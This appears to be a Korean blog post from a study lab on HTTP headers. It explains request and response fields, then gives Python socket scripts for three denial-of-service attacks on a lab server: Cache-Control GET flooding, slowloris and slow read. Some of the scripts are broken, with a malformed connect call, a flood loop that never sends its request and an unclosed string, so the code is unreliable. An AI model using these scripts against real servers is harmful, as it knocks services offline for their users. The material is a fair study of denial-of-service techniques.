본문 바로가기
프로그래밍/NETWORK HACKING

[네트워크 보안] HTTP header 분석 및 관련 공격 실습

by B T Y 2017. 8. 1.
반응형

HTTP header 분석 및 관련 공격 실습에 대해서 정리한다.


 
- request header
 
start-line: method sp uri sp protocol version\r\n
 
header field
  - genenral header
  - request header or response header
  - entity header
 
 
- request sample


GET /naver/VistaNTService/x86/NAdminAPIInfo.xml HTTP/1.1
User-Agent: NUpdateBroker-Client
Host: appdown.naver.com
Cache-Control: no-cache



- response sample


HTTP/1.1 404 Not Found
Date: Tue, 01 Aug 2017 19:13:04 GMT
Server: Apache/2.2.15 (CentOS)
Content-Length: 288
Connection: close
Content-Type: text/html; charset=iso-8859-1


* server 필드를 default로 설정해두면 서버와 운영체제의 정보가 노출 될수 있다.
  ( 해당 설정은 apache에서 설정 해줄수 있다 )  


* response에서 304 코드가 오는 경우는 location에 캐시가 되있는 경우이다.
  ( 컴퓨터 캐시에 저장되있는 내용을 그대로 사용하기 때문에 서버측에 부하를 줄이기 위해서도 좋다 )


* 그러므로 304 코드가 오는 경우에는 wireshark로 http 헤더를 보면 message body가 오지 않는다.


 
* Cache-Control: 캐시를 사용할지 아니면 얼마동안 캐시에 저장할지를 설정하는 필드
 
* Accept 종류의 필드는 서버와 정보 교환을 위한 필드이다.
    ( 없어도 되지만 있으면 좀더 원활한 통신을 통해 해당 내용이 있다면 그 내용으로 응답을 받게 된다 )


* User-Agent: 어떤 프로그램을 통해서 통신 하는지 적혀있는 필드
 
* Referer: 요청이 어디로부터 왔는지 나타낸다.
        ( URL을 통해서 들어가면 해당 필드는 헤더에 붙지 않고 링크를 타고 들어갔을때 생긴다 )
 
* Content-Length와 Content-Type은 메시지 바디가 있는경우 무조건 포함 되어야 한다.

  ( 해당 Length의 값이 body 바디의 크기와 맞지 않는경우는 정상적인 통신이 이루어지지 않는다 )
 


GET /index.html HTTP/1.1
Host: 192.168.6.110


http_request.py


import socket

response = ''

request = "GET /index.html HTTP/1.1\r\n"
request += "Host: 192.168.6.112\r\n"
request += "\r\n"

sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect( ('192.168.6.110'), 80 )

sock.send( request.encode() )
response = sock.recv( 65535 )
print( response.decode() )



* start-line과 host필드만 있어도 요청에 대한 응답을 준다.

 
* 통신은 ip와 tcp를 가지고 이루어지기 때문에 Host 주소가 틀려도 이상이 없다. 


* OPTIONS 메서드는 인증을 우회할때도 많이 쓰인다.
 
 



 
- HTTP 헤더를 이용한 공격
 
* GET Flooding
 
  - 행안부에 대한 디도스 공격
  - 선관위에 대한 디도스 공격
 
  - CC( Cache Control ) Attack: GET Flooding에 Cache-Control 필드를 추가시켜서 공격하는 기법

             ( 보통 웹에 변경사항이 없으면 서버는 304 NOT MODIFY 코드를 보내면서 location에서 캐시를 이용한 처리를 

               통해 조금이나마 서버의 과부하를 줄이는데 Cache-Control 필드에 nocache와 같이 캐시를 저장하지 않는 설정으로

               매번 새로운 처리 즉, response로 200 OK가 오도록해 서버에 과부하를 더 주는 공격기법이다 )


  * 공부를 위한 실습이였기 때문에 time 모듈을 이용해서 1초씩 sleep을 주었다.


http_CC.py

  
import socket
import time

response = ''

request = "GET /index.html HTTP/1.1\r\n"
request += "Host: 192.168.6.112\r\n"
request += "Cache-Control: nocache\r\n"
request += "\r\n"

sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect( ('192.168.6.110'), 80 )

response = sock.recv( 65535 )
while True:
  print( response.decode() )
  time.sleep(1)


* slowloris attack : http request header가 필드 \r\n 이후에 \r\n으로 끝난다는 점을 이용해서 header를 끝내는 \r\n을

                                          보내주지 않고 계속해서 세션이 끊기기전에만 필드를 하나씩 보내주면서 세션 종료 타임을 초기화 시켜 세션을

                                          계속 유지 시키는 공격이다.


* slow read attack : slowloris와 비슷하게 패킷을 아주 천천히 발생 시키면서 세션을 유지하는 공격이지만 Content-Length의

                                            취약점을 노려서 Length보다 작은 크기의 message-body를 조금씩 보내서 계속해서 세션을 유지 시켜

                                           서버 과부하를 유발하는 공격이다.
 
  - 기존의 DDOS 공격은 단 시간에 대량의 패킷의 발생
  - 이와는 반대로 아~주 천천히 패킷 발생
 

     * 네트워크 해킹은 대부분 프로토콜을 이용한 약간의 조작으로 이루어진다.
 
 

http_slowloris.py


import socket
import time

response = ''

request = "GET /index.html HTTP/1.1\r\n"
request += "Host: 192.168.6.112\r\n"

sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect( ('192.168.6.110'), 80 )

sock.send( request.encode() )
while True:
  time.sleep(59)
  sock.send( "Host: 192.168.6.112\r\n".encode() )


http_slow_read.py


import socket
import time

response = ''

request = "GET /index.html HTTP/1.1\r\n"
request += "Host: 192.168.6.112\r\n"
request += "Content-Type: text/html\r\n"
request += "Content-Length: 9999999999\r\n
request += "\r\n"
request += "A"

sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect( ('192.168.6.110'), 80 )

sock.send( request.encode() )
while True:
  time.sleep(59)
  sock.send( "A".encode() )

 
 * 세션 유지시간이 1분정도 되기때문에 time 모듈을 이용해서 59초마다 새로운 필드나 payload를 보내줬다.
 

 

( slow read attack 실습을 하면서 wireshark를 이용해서 해당 패킷을 덤프시켜보니 연결이 계속 끈키지 않고 유지 되는걸 볼 수 있다 )
 

반응형

댓글